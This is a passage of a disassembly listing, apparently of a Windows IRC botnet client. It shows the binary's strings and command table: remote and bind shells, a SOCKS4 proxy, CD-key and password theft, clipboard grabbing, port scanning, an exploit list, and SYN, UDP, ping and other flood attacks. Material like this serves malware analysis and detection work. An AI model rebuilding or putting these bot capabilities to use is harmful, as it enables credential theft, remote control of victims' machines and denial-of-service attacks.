6E69616Dh, 202D0302h, 61696C41h, 696C2073h ; DATA XREF: sub_401ACD+28E2o dd 2E7473h unk_42BA60 db 2Dh ; - ; DATA XREF: sub_401ACD+28C7o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_23 db '- Failed to start listing thread, error: <%d>.',0 dword_42BA98 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401ACD+2858o dd 2E676Fh dword_42BAB0 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: sub_401ACD+27B3o dd 6F666E49h, 2Eh dword_42BACC dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: sub_401ACD+2784o dd 2E6F666Eh, 0 dword_42BAE8 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: sub_401ACD+272Fo dd 746F4220h, 2Eh unk_42BB04 db 2Dh ; - ; DATA XREF: sub_401ACD+2713o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_24 db ' Failed to start listing thread, error: <%d>.',0 align 10h dword_42BB40 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401ACD+269Eo dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: sub_401ACD+267Eo align 4 unk_42BB64 db 2Dh ; - ; DATA XREF: sub_401ACD+261Co db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 dword_42BB84 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401ACD+25F9o aSearchComplete db '- Search completed.',0 dword_42BBA4 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh ; DATA XREF: sub_401ACD+25ADo dd 2E7325h unk_42BBBC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403FEAo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 unk_42BBDC db 2Dh ; - ; DATA XREF: sub_401ACD+2513o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_42BC04 db 2Dh ; - ; DATA XREF: sub_401ACD+24F4o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 10h dword_42BC30 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: sub_401ACD+24DEo dd 72616F62h, 2E64h dword_42BC4C dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401ACD+24B0o dd 2Dh unk_42BC64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F6Do db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 10h unk_42BC90 db 2Dh ; - ; DATA XREF: sub_401ACD+2499o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 unk_42BCB4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F42o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 10h unk_42BCE0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F3Bo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_42BD0C db 2Dh ; - ; DATA XREF: sub_401ACD+2467o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 10h unk_42BD30 db 2Dh ; - ; DATA XREF: sub_401ACD+2414o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_25 db '- Failed to start server thread, error: <%d>.',0 align 4 unk_42BD6C db 2Dh ; - ; DATA XREF: sub_401ACD+23A5o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42BDA8 db 2Dh ; - ; DATA XREF: sub_401ACD+22BFo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BDE4 db 2Dh ; - ; DATA XREF: sub_401ACD+2254o ; sub_40BACD+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42BE20 db 2Dh ; - ; DATA XREF: sub_401ACD+214Do db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_27 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BE5C db 2Dh ; - ; DATA XREF: sub_401ACD+20DEo ; sub_40BACD+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 10h unk_42BE90 db 2Dh ; - ; DATA XREF: sub_401ACD+2029o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_4 db ' Already running.',0 align 10h unk_42BEB0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403AE0o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_28 db '- Failed to start scan, port is invalid.',0 align 4 unk_42BEE8 db 2Dh ; - ; DATA XREF: sub_401ACD+1FC3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_29 db '- Failed to start scan thread, error: <%d>.',0 align 4 unk_42BF24 db 2Dh ; - ; DATA XREF: sub_401ACD+1F52o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 10h aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1F27o ; sub_401ACD+5BEEo align 4 aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1F20o ; sub_401ACD+5BE7o align 4 unk_42BFA4 db 2Dh ; - ; DATA XREF: sub_401ACD+1D6Do db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0 unk_42BFE4 db 2Dh ; - ; DATA XREF: sub_401ACD+1D0Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_30 db 'Failed to start search thread, error: <%d>.',0 unk_42C020 db 2Dh ; - ; DATA XREF: sub_401ACD+1C95o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_401ACD+1C4Co align 4 aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1C3Bo align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o align 4 aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1C11o align 4 aSa db 'sa',0 ; DATA XREF: sub_401ACD+1BFCo align 4 aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1BE7o ; sub_401ACD+4FA1o dword_42C090 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h ; DATA XREF: sub_401ACD+1B97o dd 746F6220h, 2Eh aCrash db 'crash',0 ; DATA XREF: sub_401ACD+1B81o ; sub_401ACD+1BD1o align 4 aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B6Co align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1B57o align 4 aHttp db 'http',0 ; DATA XREF: sub_401ACD+1B42o align 10h aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1B2Do align 4 aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1B18o align 4 aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1B03o align 4 aCip db 'cip',0 ; DATA XREF: sub_401ACD+1AEEo aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1AD9o align 4 aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1AC4o align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1AAFo align 4 aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A9Ao align 10h aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A85o align 4 aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A70o align 10h aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+1A5Bo unk_42C138 db 2Dh ; - ; DATA XREF: sub_401ACD+1A1Do db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_401ACD+1A02o ; sub_401ACD+3CAFo ... aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+19EBo align 4 unk_42C16C db 2Dh ; - ; DATA XREF: sub_401ACD+19CDo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 10h aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1995o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_403453o dword_42C1A0 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401ACD+195Bo dword_42C1B4 dd 6F6877h ; DATA XREF: sub_401ACD+193Eo dword_42C1B8 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o dword_42C1C4 dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+192Eo aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+1915o aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+1900o align 4 aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+18EBo aDll db 'dll',0 ; DATA XREF: sub_401ACD+18D6o aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+18C1o align 4 aDrv db 'drv',0 ; DATA XREF: sub_401ACD+18ACo aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+1897o align 4 aUp db 'up',0 ; DATA XREF: sub_401ACD+1882o align 10h aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+186Do align 4 aKey db 'key',0 ; DATA XREF: sub_401ACD+1858o aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401ACD+1843o align 4 aPs db 'ps',0 ; DATA XREF: sub_401ACD+182Eo align 4 aProcs db 'procs',0 ; DATA XREF: sub_401ACD+1819o align 4 aLsp100 db 'lsp100',0 ; DATA XREF: sub_401ACD+17EFo ; sub_401ACD+1804o align 4 aSi db 'si',0 ; DATA XREF: sub_401ACD+17DAo align 10h aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+17C5o aNi db 'ni',0 ; DATA XREF: sub_401ACD+17B0o align 4 aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+179Bo aClg db 'clg',0 ; DATA XREF: sub_401ACD+1786o aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1771o align 4 aLg db 'lg',0 ; DATA XREF: sub_401ACD+175Co align 4 aLog db 'log',0 ; DATA XREF: sub_401ACD+1747o aAl db 'al',0 ; DATA XREF: sub_401ACD+1732o align 10h aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+171Do aT: ; DATA XREF: sub_401ACD+1708o ; ___:00437F84o unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16F3o unk_42C284 db 2Dh ; - ; DATA XREF: sub_401ACD+16BFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 4 unk_42C2AC db 2Dh ; - ; DATA XREF: sub_401ACD+16B8o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 4 aReboot db 'reboot',0 ; DATA XREF: sub_401ACD+16A1o align 4 aI: ; DATA XREF: sub_401ACD+168Co unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_401ACD+1677o align 4 aS_0: ; DATA XREF: sub_401ACD+1662o unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_401ACD+164Do align 4 aQ: ; DATA XREF: sub_401ACD+1638o ; ___:off_437BF0o unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+1623o align 4 aDc db 'dc',0 ; DATA XREF: sub_401ACD+160Eo align 4 aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15F9o align 4 aR: ; DATA XREF: sub_401ACD+15E4o ; sub_401ACD+3DA8o ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15CFo align 4 aExplist db 'explist',0 ; DATA XREF: sub_401ACD+15BAo aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+15A5o aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1590o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo align 4 aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1566o aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1551o align 4 aStats db 'stats',0 ; DATA XREF: sub_401ACD+153Co align 4 aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+1527o align 10h dword_42C370 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401ACD+151Co aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+1517o align 4 aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14FEo align 10h dword_42C390 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14F3o aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14EEo align 4 aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14D5o align 4 dword_42C3B4 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+14CAo aClone db 'Clone',0 ; DATA XREF: sub_401ACD+14C5o align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+14ACo align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1497o align 10h aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1482o align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+146Do align 4 aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1458o align 4 dword_42C404 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+144Do aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+142Fo align 10h aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+1406o align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13DDo aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+13B4o align 10h aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+138Bo unk_42C44C db 2Dh ; - ; DATA XREF: sub_401ACD+1371o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42C480 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1336o ; sub_401ACD+13D2o dword_42C490 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1331o ; sub_401ACD+13CDo dword_42C4A0 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+1318o ; sub_401ACD+13A9o dword_42C4B0 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1313o ; sub_401ACD+13A4o dword_42C4C0 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+12B8o ; sub_401ACD+1424o dword_42C4CC dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o ; sub_401ACD+141Fo dword_42C4D8 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao ; sub_401ACD+13FBo dword_42C4E4 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o ; sub_401ACD+13F6o aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1235o align 4 dword_42C4FC dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+122Ao ; sub_401ACD+12F7o dword_42C508 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o ; sub_401ACD+12F2o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+120Co align 10h dword_42C520 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+1201o ; sub_401ACD+12D9o dword_42C530 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11FCo ; sub_401ACD+12D4o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11E3o align 4 dword_42C54C dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11D8o ; sub_401ACD+1357o dword_42C55C dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11D3o ; sub_401ACD+1352o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+11BAo align 4 dword_42C578 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo ; sub_401ACD+1279o dword_42C584 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo ; sub_401ACD+1274o aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1191o dword_42C598 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1186o ; sub_401ACD+125Bo dword_42C5A4 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o ; sub_401ACD+1256o dword_42C5B0 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o dword_42C5BC dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+115Do dword_42C5CC dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1158o aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+113Fo align 4 dword_42C5EC dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o dword_42C5F8 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+112Fo aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+1116o dword_42C60C dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10EDo align 4 dword_42C628 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10E2o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+10C4o align 4 dword_42C644 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+10BCo aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+109Eo align 10h aS4 db 's4',0 ; DATA XREF: sub_401ACD+1089o align 4 aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1074o align 4 dword_42C66C dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401ACD+1052o aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+104Do ; sub_401ACD+10B7o ... align 4 aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1034o align 4 aBd db 'bd',0 ; DATA XREF: sub_401ACD+101Fo align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+100Ao align 4 aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FF5o align 10h aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FE0o align 4 aSec db 'sec',0 ; DATA XREF: sub_401ACD+FCBo ; sub_401ACD+2D69o aSecure db 'secure',0 ; DATA XREF: sub_401ACD+FB6o ; sub_401ACD+2D58o align 4 aSt db 'st',0 ; DATA XREF: sub_401ACD+FA1o align 4 aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F8Co align 4 aDed db 'ded',0 ; DATA XREF: sub_401ACD+F77o aDedication db 'dedication',0 ; DATA XREF: sub_401ACD+F62o align 4 aVer db 'ver',0 ; DATA XREF: sub_401ACD+F4Do aVersion db 'version',0 ; DATA XREF: sub_401ACD+F38o aLo db 'lo',0 ; DATA XREF: sub_401ACD+F23o align 4 aLogout db 'logout',0 ; DATA XREF: sub_401ACD+F0Eo align 10h aD: ; DATA XREF: sub_401ACD+EF9o ; ___:00437C1Co ... unicode 0, <d>,0 aDie db 'die',0 ; DATA XREF: sub_401ACD+EE4o aRn db 'rn',0 ; DATA XREF: sub_401ACD+ECFo align 4 aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+EB7o a63 db '63',0 ; DATA XREF: sub_401ACD+D84o align 4 asc_42C718: ; DATA XREF: sub_401ACD+D5Co unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D1Fo align 4 aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+D14o aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+D03o align 4 aChan db '$chan',0 ; DATA XREF: sub_401ACD+CE7o align 10h aUser_0 db '$user',0 ; DATA XREF: sub_401ACD+CD6o align 4 aMe db '$me',0 ; DATA XREF: sub_401ACD+CC4o aD_0 db '$%d',0 ; DATA XREF: sub_401ACD+C56o aD_1 db '$%d-',0 ; DATA XREF: sub_401ACD+B92o align 4 aK: ; DATA XREF: sub_401ACD+AA6o ; sub_401ACD+3DD2o ... unicode 0, <k>,0 unk_42C75C db 2Dh ; - ; DATA XREF: sub_401ACD+A80o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 10h unk_42C790 db 2Dh ; - ; DATA XREF: sub_401ACD+A6Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 10h unk_42C7C0 db 2Dh ; - ; DATA XREF: sub_401ACD+A5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_31 db '- Failed to start chat thread, error: <%d>.',0 align 4 unk_42C7F8 db 2Dh ; - ; DATA XREF: sub_401ACD+9EFo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+958o align 10h unk_42C820 db 2Dh ; - ; DATA XREF: sub_401ACD+938o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 unk_42C864 db 2Dh ; - ; DATA XREF: sub_401ACD+920o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_32 db '- Failed to start transfer thread, error: <%d>.',0 align 10h dword_42C8A0 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401ACD+90Fo dd 0A0Dh dword_42C8B8 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8DBo dword_42C8C0 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401ACD+8D0o dd 0D017325h, 0Ah dword_42C8DC dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+89Fo dword_42C8E8 dd 23h ; DATA XREF: sub_401ACD+816o ; sub_40CA7F+1Bo unk_42C8EC db 2Dh ; - ; DATA XREF: sub_401ACD+785o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 aS_1 db '%s',0 ; DATA XREF: sub_401ACD+706o ; sub_401ACD+995o ... align 10h aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6DFo align 4 dword_42C928 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6C1o dword_42C930 dd 323333h ; DATA XREF: sub_401ACD+64Bo ; sub_401ACD+ADCo ... aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+629o ; sub_409A72+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+61Do ; sub_409A72+16o unk_42C944 db 2Dh ; - ; DATA XREF: sub_401ACD+5CCo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User: %s logged out.',0 align 4 unk_42C968 db 2Dh ; - ; DATA XREF: sub_401ACD+5A5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: %s.',0 a353 db '353',0 ; DATA XREF: sub_401ACD+574o aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+537o align 4 aPart db 'PART',0 ; DATA XREF: sub_401ACD+526o ; sub_401ACD+5E9o align 4 aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4FEo align 4 aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3D0o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o ; sub_401ACD+60Do unk_42C9BC db 2Dh ; - ; DATA XREF: sub_401ACD+355o ; sub_401ACD+2EBCo ... db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User %s logged out.',0 aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do ; sub_401ACD+7C8Eo ... align 10h a433 db '433',0 ; DATA XREF: sub_401ACD+262o ; sub_4177CF:loc_417837o a@: ; DATA XREF: sub_401ACD+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao a005 db '005',0 ; DATA XREF: sub_401ACD+215o a001 db '001',0 ; DATA XREF: sub_401ACD+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o ; sub_401ACD+3B7o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o align 10h aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o ; sub_4177CF+50o align 4 asc_42CA28: ; DATA XREF: sub_401ACD+19Ao ; sub_401ACD+7DADo unicode 0, <!>,0 asc_42CA2C: ; DATA XREF: sub_401ACD+A8o ; sub_401ACD+E5Co ... unicode 0, < >,0 asc_42CA30 db ' :',0 ; DATA XREF: sub_401ACD+86o ; sub_401ACD:loc_402601o align 4 aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409B12:loc_40A77Co align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409B12+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409B12+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409B12+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409B12+BEEo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409B12+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409B12:loc_40A6DEo align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409B12+B97o align 4 aShellexecutea db 'ShellExecuteA',0 ; 